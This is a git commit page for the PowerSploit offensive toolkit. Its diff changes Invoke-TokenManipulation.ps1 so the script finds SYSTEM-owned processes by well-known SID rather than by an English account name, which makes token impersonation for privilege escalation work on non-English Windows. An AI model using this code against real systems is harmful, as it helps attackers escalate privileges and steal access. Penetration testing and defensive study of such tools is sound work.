aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorMatt Graeber <mattifestation@users.noreply.github.com>2016-01-13 11:05:46 -0800
committerMatt Graeber <mattifestation@users.noreply.github.com>2016-01-13 11:05:46 -0800
commit2a813faedb853d8043446c6d0cad2119ecd62d61 (patch)
treedbf7e9450d8afce9fcaa7cb11135fa6aa4b20bd5
parent9e771d15bf19ab3c2ac196393c088ecdab6c9a73 (diff)
parent96ad796da81d01acd08622111141b0df568e552b (diff)
downloadPowerSploit-2a813faedb853d8043446c6d0cad2119ecd62d61.tar.gz
PowerSploit-2a813faedb853d8043446c6d0cad2119ecd62d61.zip
Merge pull request #109 from mmashwani/master
Don't search for SYSTEM token by using hard coded English name
-rw-r--r--Exfiltration/Invoke-TokenManipulation.ps13
1 files changed, 2 insertions, 1 deletions
diff --git a/Exfiltration/Invoke-TokenManipulation.ps1 b/Exfiltration/Invoke-TokenManipulation.ps1
index 3a61da8..ea30952 100644
--- a/Exfiltration/Invoke-TokenManipulation.ps1
+++ b/Exfiltration/Invoke-TokenManipulation.ps1
@@ -1685,7 +1685,8 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
#First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token.
#Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges.
#We need to enumrate all processes running as SYSTEM and find one that we can use.
- $SystemTokens = Get-Process -IncludeUserName | Where {$_.Username -eq "NT AUTHORITY\SYSTEM"}
+ [string]$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value
+ $SystemTokens = Get-Process -IncludeUserName | Where {$_.Username -eq $LocalSystemNTAccount}
ForEach ($SystemToken in $SystemTokens)
{
$SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.Id -WarningAction SilentlyContinue -ErrorAction SilentlyContinue